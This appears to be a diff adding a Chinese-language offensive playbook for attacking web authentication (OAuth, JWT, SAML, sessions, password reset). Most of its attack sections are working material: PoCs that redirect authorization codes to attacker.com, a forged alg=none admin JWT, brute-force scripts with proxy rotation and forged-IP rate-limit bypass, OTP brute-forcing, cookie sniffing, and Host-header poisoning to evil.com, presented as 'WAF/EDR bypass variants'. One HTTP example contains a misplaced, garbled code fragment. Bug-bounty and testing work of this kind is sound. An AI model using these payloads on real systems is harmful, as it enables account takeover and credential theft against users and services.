+ <!-- 自己生成密钥对,把 X.509 证书塞进 KeyInfo -->
150
+
151
+ <!-- Recipient/Audience/InResponseTo 不校验 -->
152
+ <!-- Response 未签名(仅 Assertion 签了) -->
153
+ ```
154
+
155
+ 工具:`SAMLRaider`(Burp 插件)。
156
+
157
+ ### 3.6 OIDC discovery 探针
158
+
159
+ ```bash
160
+ curl https://target/.well-known/openid-configuration
161
+
162
+ # 看 jwks_uri 是否能被外部控制
163
+ # 看 issuer 是否能被改
164
+ # 看是否允许 alg=none
165
+ ```
166
+
167
+ ---
168
+
169
+ ## 4. Bypass 矩阵
170
+
171
+ | 拦 | 绕 |
172
+ |---|---|
173
+ | redirect_uri 字面比较 | 子串、@ 字符、URL 编码、CRLF、子域 |
174
+ | state 必填 | 看是否真校验或只是占位 |
175
+ | PKCE 必启用 | 看授权请求是否真带 code_challenge |
176
+ | JWT alg=RS256 | 改 HS256 用公钥;改 alg=none |
177
+ | 服务端校验 jku 域 | DNS Rebinding |
178
+ | SAML Response 验签 | XSW 包裹 / 修改未签名节点 |
179
+ | 设备码限频 | 多 client_id 轮询 |
180
+
181
+ ---
182
+
183
+ ## 5. 利用提权 / 横向
184
+
185
+ ```
186
+ redirect_uri 绕过 → code 给攻击者 → 换 token → 用 token 调 API
187
+ state 缺失 → CSRF 登录绑定 → 受害者数据归攻击者账号
188
+ JWT 伪造 → 任意用户身份 → 后台、API 全部沦陷
189
+ SAML XSW → 把 Subject 改成 admin → 直接进管理后台
190
+ ```
191
+
192
+ ---
193
+
194
+ ## 6. 真实案例指纹
195
+
196
+ | 案例 | 一句话 |
197
+ |------|------|
198
+ | Slack OAuth | `redirect_uri` 子串校验,加 `@` 旁路 |
199
+ | Microsoft OAuth | `redirect_uri` 多次报告 |
200
+ | Auth0 | `state` 缺失导致 CSRF |
201
+ | 多个 SaaS | `kid` 路径遍历到 `/dev/null` |
202
+ | 某 Java SAML 实现 | XSW 攻击 |
203
+ | OWASP JuiceShop | JWT alg=none |
204
+
205
+ 通用指纹:
206
+ - 授权请求里 `redirect_uri` 接受 `https://target.com@evil.com` 不报错 → 漏洞
207
+ - JWT header 含 `"alg":"RS256"`,改成 `"alg":"none"` 应用仍接受 → P0
208
+ - JWKS 端点返回 `kid` 列表,应用允许任意 `kid` 选 → 伪造
209
+ - SAML Response 的 `Recipient` 不被校验 → 重放
210
+
211
+ ---
212
+
213
+ ## 7. 复现 / 证据要点
214
+
215
+ ### 7.1 PoC 模板(redirect_uri 绕过)
216
+
217
+ ```
218
+ # 1. 触发授权
219
+ GET /oauth/authorize?client_id=xxx&response_type=code&redirect_uri=https://target.com@attacker.com/cb&state=1
220
+
221
+ # 2. 浏览器跳转到
222
+ Location: https://target.com@attacker.com/cb?code=AUTHCODE&state=1
223
+
224
+ # 3. 攻击者收到 code
225
+ attacker.com 日志:
226
+ GET /cb?code=AUTHCODE&state=1
227
+
228
+ # 4. 用 code 换 token
229
+ POST /oauth/token
230
+ grant_type=authorization_code&code=AUTHCODE&redirect_uri=...&client_id=xxx&client_secret=...
231
+
232
+ → 拿到 access_token 即证明,不实际调用业务 API
233
+ ```
234
+
235
+ ### 7.2 PoC 模板(JWT alg=none)
236
+
237
+ ```
238
+ 原 JWT:
239
+ eyJhbGciOiJSUzI1NiIs...
240
+
241
+ 伪造(alg=none,sub=admin):
242
+ echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 → eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
243
+ echo -n '{"sub":"admin","exp":9999999999}' | base64 -w0 → eyJzdWIiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0
244
+ 拼接:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.
245
+
246
+ 请求:
247
+ Authorization: Bearer <伪造 token>
248
+
249
+ → 服务端响应 200 + admin 权限内容(脱敏截图)
250
+ ```
251
+
252
+ ### 7.3 CVSS
253
+
254
+ ```
255
+ redirect_uri 绕过 → 账号接管 = 8.1 / 9.1 High–Critical
256
+ state 缺失 → 登录绑定 CSRF = 6.1
257
+ PKCE 缺失(移动) = 5.4
258
+ JWT alg=none = 9.8 Critical
259
+ JWT HS/RS 混淆 = 9.8 Critical
260
+ SAML XSW = 9.8 Critical
261
+ ```
262
+
263
+ ### 7.4 影响段
264
+
265
+ ```
266
+ 通过 /oauth/authorize 接口的 redirect_uri 参数,使用 `https://target.com@attacker.com/cb`
267
+ 形式可绕过域名校验,将授权码定向至攻击者控制的域。攻击者可:
268
+ 1. 诱导受害者点击恶意授权链接;
269
+ 2. 受害者在 IdP 完成登录后,code 被发送到 attacker.com;
270
+ 3. 攻击者用 code 换取 access_token,完整接管受害者账号。
271
+
272
+ 测试时使用了攻击者控制的两个账号(攻击者 + "受害者"均为研究员账号),
273
+ 未触及任何真实用户。
274
+ ```
275
+
276
+ ---
277
+
278
+ ## 相关 MCP 工具
279
+
280
+ 实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。
281
+
282
+ | 工具 | 域 | 调用时机 |
283
+ |---|---|---|
284
+ | `mcp__jshook__network_extract_auth` | network | 自动从抓包中提取 JWT / OAuth token / cookie |
285
+ | `mcp__jshook__binary_encode` + `mcp__jshook__binary_decode` | encoding | JWT header / payload base64 改写,签名段单独处理 |
286
+ | `mcp__jshook__network_replay_request` | network | 修改 redirect_uri / state / nonce 重放 |
287
+ | `mcp__jshook__debugger_evaluate` | debugger | 在前端追 SAML 断言 / JWT 解析逻辑 |
288
+ | `mcp__jshook__detect_crypto` + `mcp__jshook__crypto_extract_standalone` | core / transform | 提取签名函数离线复算 |
289
+
290
+ 完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md)
291
+
292
+ ## 8. 不要做的事
293
+
294
+ - **禁**:用 redirect_uri 绕过实际抓真实用户的 code(即使是诱导朋友点击也不行)。用自己的两个账号自演。
295
+ - **禁**:JWT 伪造 admin 后实际操作管理后台(删除、修改、创建)。仅证明 200 + admin 内容。
296
+ - **禁**:SAML XSW 后实际进行高权限操作。
297
+ - **禁**:在 jku 注入 PoC 中托管真实 jwks 长时间在线(用完即删)。
298
+ - **限**:JWT 暴力破解只在自己拿到的 token 上离线进行,不要在线打 IdP。
299
+
300
+ ## H1 真实案例
301
+
302
+ _共 240 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
303
+
304
+ | Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
305
+ |---|--:|---|---|---|
306
+ | Critical | — | Shopify | [Takeover an account that doesn't have a Shopify ID and more](https://hackerone.com/reports/867513) | Details The https://pos-channel.shopifycloud.com/graphql-proxy/admin can be exploited to update a staff member email without an… |
307
+ | Critical | — | Shopify | [Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege Escalation to Any …](https://hackerone.com/reports/791775) | I told Pete I would take a look at Spotify, hi Pete. Summary It's possible to take over any store account through bypassing the… |
308
+ | Critical | — | Snapchat | [Improper Authentication - any user can login as other user with otp/logout & otp/login](https://hackerone.com/reports/921780) | '/scauth/otp/droid/logout' request contains user_id parameter. Usually it is equal to current user user_id, but if an attacker … |
309
+ | Critical | — | Shopify | [[Part II] Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege Escalation](https://hackerone.com/reports/796808) | Summary In #791775, I submitted a bug at Sunday 5pm Canada time, it was triaged two hours later, and I got the **temp** fix mes… |
310
+ | Critical | — | Flickr | [Flickr Account Takeover using AWS Cognito API](https://hackerone.com/reports/1342088) | Flickr uses Amazon Cognito to implement its login functionality. Furthermore, Flickr does not allow users to change their regis… |
311
+ | High | — | Uber | [Chained Bugs to Leak Victim's Uber's FB Oauth Token](https://hackerone.com/reports/202781) | Chained Bugs to Leak Victim's Uber's FB Oauth Token |
312
+ | Critical | 15000 usd | TikTok | [Incorrect authorization to the intelbot service leading to ticket information](https://hackerone.com/reports/1328546) | Incorrect authorization to the intelbot service leading to ticket information |
313
+ | High | 10500 usd | Superhuman (formerly Grammarly) | [Ability to DOS any organization's SSO and open up the door to account takeovers](https://hackerone.com/reports/976603) | Summary:** There's an interesting issue I've spent quite a few days trying to escalate but can't figure out |
314
+ | High | 13000 usd | Stripe | [Mass Accounts Takeover Without any user Interaction at https://app.taxjar.com/](https://hackerone.com/reports/1685970) | Mass Accounts Takeover Without any user Interaction at https://app.taxjar.com/ |
315
+ | High | 7500 usd | Snapchat | [Stealing SSO Login Tokens (snappublisher.snapchat.com)](https://hackerone.com/reports/265943) | Description Attacker can steal SSO login tokens for snappublisher.snapchat.com by chaining different flaws in SSO and Snapchat’… |
316
+ | High | — | X / xAI | [Bypass Password Authentication for updating email and phone number - Security Vulnerability](https://hackerone.com/reports/770504) | Summary:** [Additional requirement for authentication is an extra layer of security for a person's Twitter account |
317
+ | Critical | 12000 usd | TikTok | [Account Takeover via Authentication Bypass in TikTok Account Recovery](https://hackerone.com/reports/2443228) | Account Takeover via Authentication Bypass in TikTok Account Recovery |
318
+
319
+ **命中本类的 weakness 分布:**
320
+
321
+ - Improper Authentication - Generic:123 条
322
+ - Uncategorized → 手工归类:30 条
323
+ - Cryptographic Issues - Generic:18 条
324
+ - Improper Certificate Validation:12 条
325
+ - Authentication Bypass Using an Alternate Path or Channel:12 条
326
+ - Open Redirect:10 条
327
+ - Insufficient Session Expiration:4 条
328
+ - Reliance on Cookies without Validation and Integrity Checking in a Security Decision:3 条
329
+ - Authentication Bypass by Primary Weakness:2 条
330
+ - Missing Required Cryptographic Step:2 条
331
+ - Authentication Bypass:2 条
332
+ - Use of Hard-coded Cryptographic Key:2 条
333
+ - Key Exchange without Entity Authentication:2 条
334
+ - Reliance on Untrusted Inputs in a Security Decision:2 条
335
+ - Use of a Broken or Risky Cryptographic Algorithm:2 条
336
+ - Session Fixation:2 条
337
+ - Storing Passwords in a Recoverable Format:2 条
338
+ - Plaintext Storage of a Password:2 条
339
+ - Unverified Password Change:2 条
340
+ - Use of Insufficiently Random Values:1 条
341
+ - Missing Critical Step in Authentication:1 条
342
+ - Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG):1 条
343
+ - Weak Cryptography for Passwords:1 条
344
+ - Reusing a Nonce, Key Pair in Encryption:1 条
345
+ - Use of a Key Past its Expiration Date:1 条
346
+
347
+
348
+ ## Payload 库
349
+
350
+ _17 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
351
+
352
+ **类别分布:** 认证漏洞 (10) · JWT安全 (4) · 开放重定向 (3)
353
+
354
+ ### · 认证漏洞
355
+
356
+ ### 认证绕过 `auth-bypass`
357
+ Web应用认证绕过技术
358
+ 子类:**认证绕过** · tags: `auth` `bypass` `authentication`
359
+
360
+ **前置条件:** 目标存在认证机制;认证实现存在缺陷
361
+
362
+ **攻击链:**
363
+
364
+ **1. SQL注入绕过**
365
+ _SQL注入绕过登录_
366
+ ```
367
+ admin'--
368
+ admin' OR '1'='1
369
+ ```
370
+
371
+ **2. 数组绕过**
372
+ _PHP数组绕过_
373
+ ```
374
+ user[]=admin&pass[]=admin
375
+ ```
376
+
377
+ **3. 类型转换**
378
+ _类型转换绕过_
379
+ ```
380
+ # PHP类型转换绕过 - 数组与类型混淆:
381
+ # 1. 数组绕过密码比较(strcmp绕过):
382
+ POST /login HTTP/1.1
383
+ Content-Type: application/x-www-form-urlencoded
384
+
385
+ user=admin&pass[]=1
386
+ # strcmp(array, string) 在PHP中返回NULL,NULL == 0 为true
387
+
388
+ # 2. 松散比较绕过:
389
+ POST /login HTTP/1.1
390
+ Content-Type: application/json,
391
+
392
+ syntaxBreakdown: [
393
+ { part: ''', explanation: { zh: '闭合引号', en: 'Close quote' }, type: 'char' },
394
+ { part: 'OR', explanation: { zh: '逻辑或', en: 'Logical OR' }, type: 'keyword' },
395
+ { part: '--', explanation: { zh: 'SQL注释', en: 'SQL comment' }, type: 'operator' }
396
+ ]
397
+ {"user":"admin","pass":true}
398
+ # true == "any_string" 在PHP松散比较中为true
399
+
400
+ # 3. 数字型字符串绕过:
401
+ {"user":"admin","pass":0}
402
+ # 0 == "password_string" 在PHP中为true(PHP < 8.0)
403
+ ```
404
+
405
+ **4. JSON绕过**
406
+ _NoSQL绕过_
407
+ ```
408
+ {"user":"admin","pass":{"$ne":""}}
409
+ ```
410
+
411
+ **5. IP伪造**
412
+ _IP伪造绕过_
413
+ ```
414
+ X-Forwarded-For: 127.0.0.1
415
+ X-Original-URL: /admin
416
+ ```
417
+
418
+ **6. HTTP方法**
419
+ _HTTP方法绕过_
420
+ ```
421
+ # HTTP方法篡改绕过认证:
422
+ # 1. 尝试不同HTTP方法:
423
+ curl -X POST "http://target.com/admin" -v
424
+ curl -X PUT "http://target.com/admin" -v
425
+ curl -X PATCH "http://target.com/admin" -v
426
+ curl -X DELETE "http://target.com/admin" -v
427
+ curl -X OPTIONS "http://target.com/admin" -v
428
+
429
+ # 2. 方法覆盖头:
430
+ curl -X POST -H "X-HTTP-Method-Override: PUT" "http://target.com/admin"
431
+ curl -X POST -H "X-Method-Override: DELETE" "http://target.com/admin"
432
+
433
+ # 3. URL路径穿越绕过:
434
+ curl "http://target.com/admin/..;/admin"
435
+ curl "http://target.com/;/admin"
436
+ curl "http://target.com/%2e%2e/admin"
437
+ ```
438
+
439
+ **WAF/EDR 绕过变体:**
440
+
441
+ **1. HTTP方法篡改与路径规范化**
442
+ _使用非标准HTTP方法或方法覆盖头绕过基于方法的访问控制,利用URL路径大小写、双斜杠、点号、编码等规范化差异绕过路径匹配_
443
+ ```
444
+ # HTTP方法篡改:
445
+ GET /admin HTTP/1.1 → 403
446
+ POST /admin HTTP/1.1 → 200
447
+ PATCH /admin HTTP/1.1
448
+ OPTIONS /admin HTTP/1.1
449
+ X-HTTP-Method: PUT
450
+ X-HTTP-Method-Override: DELETE
451
+
452
+ # 路径规范化:
453
+ /admin → 403
454
+ /ADMIN → 200
455
+ /admin/ → 200
456
+ //admin → 200
457
+ /./admin → 200
458
+ /admin..;/ → 200
459
+ /%61dmin → 200
460
+ ```
461
+
462
+ **2. HTTP/2伪头与请求拆分**
463
+ _利用HTTP/2伪头部(:path等)或X-Original-URL/X-Rewrite-URL头覆盖请求路径绕过反向代理ACL,通过IP伪造头绕过基于来源的认证_
464
+ ```
465
+ # HTTP/2伪头绕过:
466
+ :method: GET
467
+ :path: /admin
468
+ :authority: target.com
469
+ X-Original-URL: /admin
470
+ X-Rewrite-URL: /admin
471
+
472
+ # Header注入:
473
+ Host: target.com
474
+ X-Forwarded-For: 127.0.0.1
475
+ X-Real-IP: 127.0.0.1
476
+ X-Originating-IP: 127.0.0.1
477
+ X-Custom-IP-Authorization: 127.0.0.1
478
+ X-Forwarded-Host: localhost
479
+ ```
480
+
481
+ ---
482
+
483
+ ### 暴力破解 `auth-brute`
484
+ 自动化密码猜测攻击
485
+ 子类:**暴力破解** · tags: `auth` `brute-force` `password`
486
+
487
+ **前置条件:** 无验证码;无锁定策略
488
+
489
+ **攻击链:**
490
+
491
+ **1. Pitchfork**
492
+ _多字段同时爆破_
493
+ ```
494
+ Burp Intruder: Pitchfork模式
495
+ ```
496
+
497
+ **2. Cluster bomb**
498
+ _笛卡尔积爆破_
499
+ ```
500
+ Burp Intruder: Cluster bomb模式
501
+ ```
502
+
503
+ **3. 基于响应差异的用户名枚举** _[linux]_
504
+ _通过响应状态码/长度/时间的差异来区分有效和无效用户名_
505
+ ```
506
+ # 通过响应长度/时间差异枚举有效用户名
507
+ # 对比有效 vs 无效用户名的响应:
508
+ curl -s -o /dev/null -w "user=admin: code=%{http_code} size=%{size_download} time=%{time_total}s" -d "username=admin&password=wrong" "http://target.com/login"
509
+
510
+ curl -s -o /dev/null -w "user=xxxxx: code=%{http_code} size=%{size_download} time=%{time_total}s" -d "username=nonexistent_user_xxxxx&password=wrong" "http://target.com/login"
511
+
512
+ # 批量枚举(注意响应差异):
513
+ for user in $(cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt); do
514
+ resp=$(curl -s -o /tmp/resp.txt -w "%{http_code}:%{size_download}:%{time_total}" -d "username=${user}&password=test" "http://target.com/login")
515
+ echo "${user}: ${resp}"
516
+ sleep 1
517
+ done
518
+ ```
519
+
520
+ **4. 验证码/OTP爆破与绕过**
521
+ _针对OTP验证码的爆破和各种逻辑绕过手法_
522
+ ```
523
+ # 场景1: 4-6位数字验证码爆破
524
+ # 检测验证码是否有速率限制:
525
+ for i in $(seq 1 10); do
526
+ code=$(printf "%06d" $RANDOM | cut -c1-6)
527
+ resp=$(curl -s -o /dev/null -w "%{http_code}" -d "otp=${code}" "http://target.com/verify-otp")
528
+ echo "Attempt ${i}: otp=${code} → HTTP ${resp}"
529
+ done
530
+
531
+ # 场景2: 通过修改响应绕过前端验证码校验
532
+ # 抓包修改响应 {"success":false} → {"success":true}
533
+
534
+ # 场景3: 验证码复用(同一验证码多次有效)
535
+ # 获取验证码后,用同一验证码尝试不同账户
536
+
537
+ # 场景4: 验证码泄露在响应中
538
+ curl -v -d "phone=13800138000&action=send_code" "http://target.com/api/sms"
539
+ # 检查响应头/响应体是否包含验证码
540
+ ```
541
+
542
+ **5. 分布式暴力破解与IP轮换**
543
+ _使用代理池轮换IP避免被封禁,进行分布式暴力破解_
544
+ ```
545
+ # 使用代理池进行分布式爆破:
546
+ import requests
547
+ import itertools
548
+ from concurrent.futures import ThreadPoolExecutor
549
+
550
+ TARGET = "http://target.com/login"
551
+ proxies_list = open("proxies.txt").read().splitlines()
552
+ usernames = ["admin", "administrator", "root", "test"]
553
+ passwords = open("/usr/share/wordlists/rockyou-top1000.txt").read().splitlines()
554
+
555
+ proxy_cycle = itertools.cycle(proxies_list)
556
+
557
+ def try_login(combo):
558
+ user, pwd = combo
559
+ proxy = next(proxy_cycle)
560
+ try:
561
+ r = requests.post(TARGET,
562
+ data={"username": user, "password": pwd},
563
+ proxies={"http": proxy, "https": proxy},
564
+ timeout=10,
565
+ headers={"User-Agent": f"Mozilla/5.0 (rv:{hash(proxy)%90+10}.0)"}
566
+ )
567
+ if r.status_code == 302 or "dashboard" in r.text.lower():
568
+ print(f"[+] FOUND: {user}:{pwd} via {proxy}")
569
+ return (user, pwd)
570
+ except: pass
571
+ return None
572
+
573
+ combos = [(u,p) for u in usernames for p in passwords]
574
+ with ThreadPoolExecutor(max_workers=5) as pool:
575
+ results = list(pool.map(try_login, combos))
576
+ found = [r for r in results if r]
577
+ for f in found: print(f"[+] Valid: {f[0]}:{f[1]}")
578
+ ```
579
+
580
+ **WAF/EDR 绕过变体:**
581
+
582
+ **1. 速率限制绕过(HTTP头伪造)**
583
+ _通过伪造X-Forwarded-For等HTTP头绕过基于IP的速率限制_
584
+ ```
585
+ # 通过伪造IP头绕过基于IP的速率限制:
586
+ import requests
587
+ import random
588
+
589
+ TARGET = "http://target.com/login"
590
+ headers_rotation = [
591
+ "X-Forwarded-For", "X-Real-IP", "X-Originating-IP",
592
+ "X-Remote-Addr", "X-Client-IP", "X-Remote-IP",
593
+ "CF-Connecting-IP", "True-Client-IP", "Forwarded"
594
+ ]
595
+
596
+ def brute_with_header_bypass(username, password):
597
+ fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
598
+ h = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
599
+ for header in headers_rotation:
600
+ h[header] = fake_ip
601
+ r = requests.post(TARGET, data={"username": username, "password": password}, headers=h, timeout=10)
602
+ return r
603
+
604
+ # 每次请求使用不同伪造IP
605
+ passwords = ["admin", "123456", "password", "admin123", "root"]
606
+ for pwd in passwords:
607
+ r = brute_with_header_bypass("admin", pwd)
608
+ print(f"admin:{pwd} → {r.status_code} ({len(r.text)})")
609
+ ```
610
+
611
+ **2. 参数污染与大小写绕过**
612
+ _通过参数污染、格式切换、编码混淆绕过WAF对暴力破解的检测_
613
+ ```
614
+ # 参数污染绕过:
615
+ # 正常请求(被限制):
616
+ curl -d "username=admin&password=test" "http://target.com/login"
617
+
618
+ # 参数重复(某些后端取最后一个值):
619
+ curl -d "username=admin&username=admin&password=test" "http://target.com/login"
620
+
621
+ # JSON格式切换(如果支持):
622
+ curl -H "Content-Type: application/json" -d '{"username":"admin","password":"test"}' "http://target.com/login"
623
+
624
+ # 大小写混淆:
625
+ curl -d "Username=admin&Password=test" "http://target.com/login"
626
+ curl -d "USERNAME=admin&PASSWORD=test" "http://target.com/login"
627
+
628
+ # Unicode混淆:
629
+ curl -d "username=admin&password=test" "http://target.com/login"
630
+
631
+ # 额外参数注入:
632
+ curl -d "username=admin&password=test&captcha=&token=" "http://target.com/login"
633
+
634
+ # 不同编码:
635
+ curl -d "username=admin&password=test" "http://target.com/login" -H "Content-Type: application/x-www-form-urlencoded; charset=IBM037"
636
+ ```
637
+
638
+ ---
639
+
640
+ ### 会话劫持 `auth-session`
641
+ 利用会话管理缺陷劫持或伪造用户会话,获取未授权访问权限
642
+ 子类:**会话管理** · tags: `auth` `session` `hijack`
643
+
644
+ **前置条件:** 目标使用基于Cookie或Token的会话管理;可以截获或预测会话标识符;网络通信未完全加密(HTTP)或存在XSS
645
+
646
+ **攻击链:**
647
+
648
+ **1. 会话Cookie属性分析** _[linux]_
649
+ _分析目标会话Cookie的安全属性配置_
650
+ ```
651
+ # 检测Cookie安全属性
652
+ curl -v "http://target.com/login" 2>&1 | grep -i "set-cookie"
653
+
654
+ # 检查关键属性:
655
+ # - HttpOnly: 防止JS读取Cookie
656
+ # - Secure: 仅通过HTTPS传输
657
+ # - SameSite: 防止CSRF
658
+ # - Path/Domain: Cookie作用域
659
+ # - Expires/Max-Age: 会话生命周期
660
+
661
+ # 批量分析Cookie:
662
+ curl -c - "http://target.com/login" -d "user=test&pass=test" 2>/dev/null | tail -5
663
+ ```
664
+
665
+ **2. 会话固定攻击(Session Fixation)** _[linux]_
666
+ _通过预设sessionId使受害者登录后攻击者可以复用该会话_
667
+ ```
668
+ # 1. 攻击者获取一个有效的sessionId
669
+ curl -c cookies.txt "http://target.com/"
670
+ cat cookies.txt | grep -i "session|jsession|phpsess"
671
+
672
+ # 2. 构造包含固定sessionId的链接诱使受害者登录
673
+ # http://target.com/login;jsessionid=ATTACKER_SESSION_ID
674
+ # 或通过Set-Cookie注入:
675
+ # http://target.com/page?lang=en%0d%0aSet-Cookie:%20PHPSESSID=FIXED_SESSION
676
+
677
+ # 3. 受害者使用该sessionId登录后,攻击者直接使用同一sessionId
678
+ curl -b "PHPSESSID=FIXED_SESSION" "http://target.com/dashboard"
679
+ ```
680
+
681
+ **3. 会话劫持(HTTP嗅探)** _[linux]_
682
+ _在未加密的HTTP通信中截获会话Cookie_
683
+ ```
684
+ # 在同一网络中嗅探HTTP Cookie (需要中间人位置)
685
+ # 使用Wireshark过滤:
686
+ http.cookie contains "session" or http.cookie contains "PHPSESSID"
687
+
688
+ # 或使用tcpdump:
689
+ tcpdump -i eth0 -A -s 0 'port 80 and (tcp[((tcp[12:1]&0xf0)>>2):4] = 0x436F6F6B)'
690
+
691
+ # 获取Cookie后直接使用:
692
+ curl -b "PHPSESSID=STOLEN_SESSION_ID" "http://target.com/admin/dashboard"
693
+ ```
694
+
695
+ **4. 会话预测(弱随机性)** _[linux]_
696
+ _通过收集多个sessionId分析其生成规律,预测有效的会话标识符_
697
+ ```
698
+ # 批量收集sessionId分析规律
699
+ for i in $(seq 1 20); do
700
+ sid=$(curl -sI "http://target.com/" | grep -i "set-cookie" | grep -oP "(?<=PHPSESSID=)[^;]+")
701
+ echo "$i: $sid"
702
+ sleep 0.5
703
+ done
704
+
705
+ # 使用Burp Suite Sequencer分析随机性
706
+ # 或Python分析:
707
+ # python3 -c "
708
+ # import hashlib, time
709
+ # # 如果sessionId基于时间戳:
710
+ # for t in range(int(time.time())-100, int(time.time())+100):
711
+ # predicted = hashlib.md5(str(t).encode()).hexdigest()
712
+ # print(predicted)
713
+ # "
714
+ ```
715
+
716
+ **WAF/EDR 绕过变体:**
717
+
718
+ **1. Cookie Jar溢出与Cookie Tossing**
719
+ _通过大量设置Cookie超出浏览器存储上限挤出合法session Cookie,或利用子域名权限向父域注入恶意Cookie实现会话覆盖_
720
+ ```
721
+ # Cookie Jar溢出:
722
+ # 设置大量Cookie(超过浏览器上限~50个)使旧Cookie被挤出:
723
+ for(let i=0;i<700;i++){document.cookie=`c${i}=x;domain=.target.com`}
724
+ # 原有session Cookie被挤出后可注入攻击者的session
725
+
726
+ # Cookie Tossing(子域注入):
727
+ # 从subdomain.target.com设置Cookie:
728
+ document.cookie="session=ATTACKER_SID;domain=.target.com;path=/"
729
+ # 该Cookie在主域target.com上也生效
730
+ ```
731
+
732
+ **2. SameSite绕过与跨站会话泄露**
733
+ _利用SameSite=Lax允许顶级导航GET请求携带Cookie的特性通过链接点击或window.open发起带凭据的跨站请求_
734
+ ```
735
+ # SameSite=Lax绕过(顶级导航GET请求携带Cookie):
736
+ <a href="http://target.com/api/transfer?to=attacker&amount=1000">click</a>
737
+ # Lax模式下GET请求会携带Cookie
738
+
739
+ # SameSite=None利用(需Secure):
740
+ # 如果设置了SameSite=None但缺少Secure属性:
741
+ # Chrome会拒绝,但旧浏览器可能接受
742
+
743
+ # 通过window.open绕过:
744
+ window.open("http://target.com/api/userinfo")
745
+ # 新窗口属于顶级导航,Lax模式下携带Cookie
746
+ ```
747
+
748
+ ---
749
+
750
+ ### 密码重置漏洞 `auth-password-reset`
751
+ 绕过密码重置流程
752
+ 子类:**逻辑漏洞** · tags: `auth` `password-reset` `logic`
753
+
754
+ **前置条件:** 密码重置功能存在逻辑缺陷
755
+
756
+ **攻击链:**
757
+
758
+ **1. Host头投毒**
759
+ _重置链接指向攻击者域名_
760
+ ```
761
+ # Host头投毒劫持密码重置链接:
762
+ # 1. 基础Host头投毒:
763
+ POST /forgot-password HTTP/1.1
764
+ Host: evil.com
765
+ Content-Type: application/x-www-form-urlencoded
766
+
767
+ email=victim@target.com
768
+ # 重置链接将变为: http://evil.com/reset?token=xxx
769
+
770
+ # 2. X-Forwarded-Host投毒:
771
+ POST /forgot-password HTTP/1.1
772
+ Host: target.com
773
+ X-Forwarded-Host: evil.com
774
+
775
+ email=victim@target.com
776
+
777
+ # 3. 双Host头:
778
+ POST /forgot-password HTTP/1.1
779
+ Host: target.com
780
+ Host: evil.com
781
+
782
+ email=victim@target.com
783
+
784
+ # 4. 通过Burp Collaborator验证:
785
+ Host: BURP-COLLABORATOR-ID.burpcollaborator.net
786
+ ```
787
+
788
+ **2. Token爆破**
789
+ _验证码过短_
790
+ ```
791
+ # 密码重置验证码爆破:
792
+ # 1. 发送重置验证码请求:
793
+ curl -d "email=victim@target.com" "http://target.com/forgot-password"
794
+
795
+ # 2. 四位数字验证码爆破(0000-9999):
796
+ # Burp Intruder设置:
797
+ POST /reset-password HTTP/1.1
798
+ Content-Type: application/x-www-form-urlencoded
799
+
800
+ email=victim@target.com&code=§0000§
801
+ # Payload: Numbers, From 0, To 9999, Min/Max 4 digits
802
+
803
+ # 3. 六位验证码爆破(需更多时间):
804
+ import requests
805
+ for code in range(0, 999999):
806
+ r = requests.post('http://target.com/reset-password',
807
+ data={'email':'victim@target.com','code':f'{code:06d}'})
808
+ if 'success' in r.text or r.status_code == 302:
809
+ print(f'Valid code: {code:06d}')
810
+ break
811
+ ```
812
+
813
+ **3. 密码重置Token可预测性分析**
814
+ _分析密码重置Token的生成规律,判断是否可预测_
815
+ ```
816
+ # 批量请求密码重置Token分析规律:
817
+ import requests
818
+ import time
819
+ import hashlib
820
+
821
+ tokens = []
822
+ for i in range(10):
823
+ r = requests.post("http://target.com/api/password-reset",
824
+ data={"email": f"test{i}@example.com"})
825
+ # 从邮件API或响应中获取token
826
+ if "token" in r.text:
827
+ import json
828
+ token = json.loads(r.text).get("token", "")
829
+ tokens.append({"time": time.time(), "token": token})
830
+ print(f"Token {i}: {token}")
831
+ time.sleep(0.5)
832
+
833
+ # 分析Token模式:
834
+ for i, t in enumerate(tokens):
835
+ print(f"Token {i}: len={len(t['token'])}, "
836
+ f"hex={'yes' if all(c in '0123456789abcdef' for c in t['token'].lower()) else 'no'}, "
837
+ f"time={t['time']}")
838
+
839
+ # 检查是否基于时间戳:
840
+ for ts in range(int(tokens[0]['time'])-5, int(tokens[0]['time'])+5):
841
+ candidate = hashlib.md5(str(ts).encode()).hexdigest()
842
+ if candidate == tokens[0]['token']:
843
+ print(f"[+] Token is MD5(timestamp)! Predictable!")
844
+ ```
845
+
846
+ **4. 密码重置流程逻辑缺陷**
847
+ _测试密码重置流程中的各种逻辑漏洞_
848
+ ```
849
+ # 1. 参数篡改 - 修改邮箱/手机号:
850
+ # 发送重置请求时替换接收邮箱
851
+ curl -d "email=victim@target.com&notify_email=attacker@evil.com" "http://target.com/api/password-reset"
852
+
853
+ # 2. IDOR - 直接使用他人的重置Token/UID:
854
+ curl -d "token=VALID_TOKEN&uid=OTHER_USER_ID&new_password=hacked123" "http://target.com/api/password-reset/confirm"
855
+
856
+ # 3. 步骤跳过 - 直接访问设置新密码页面:
857
+ curl -d "uid=123&new_password=test12345" "http://target.com/api/password-reset/set-password"
858
+
859
+ # 4. Token不失效 - 使用已用过的Token:
860
+ curl -d "token=ALREADY_USED_TOKEN&new_password=newpass123" "http://target.com/api/password-reset/confirm"
861
+
862
+ # 5. 密码重置投毒(Host头注入):
863
+ curl -H "Host: evil.com" -H "X-Forwarded-Host: evil.com" -d "email=victim@target.com" "http://target.com/api/password-reset"
864
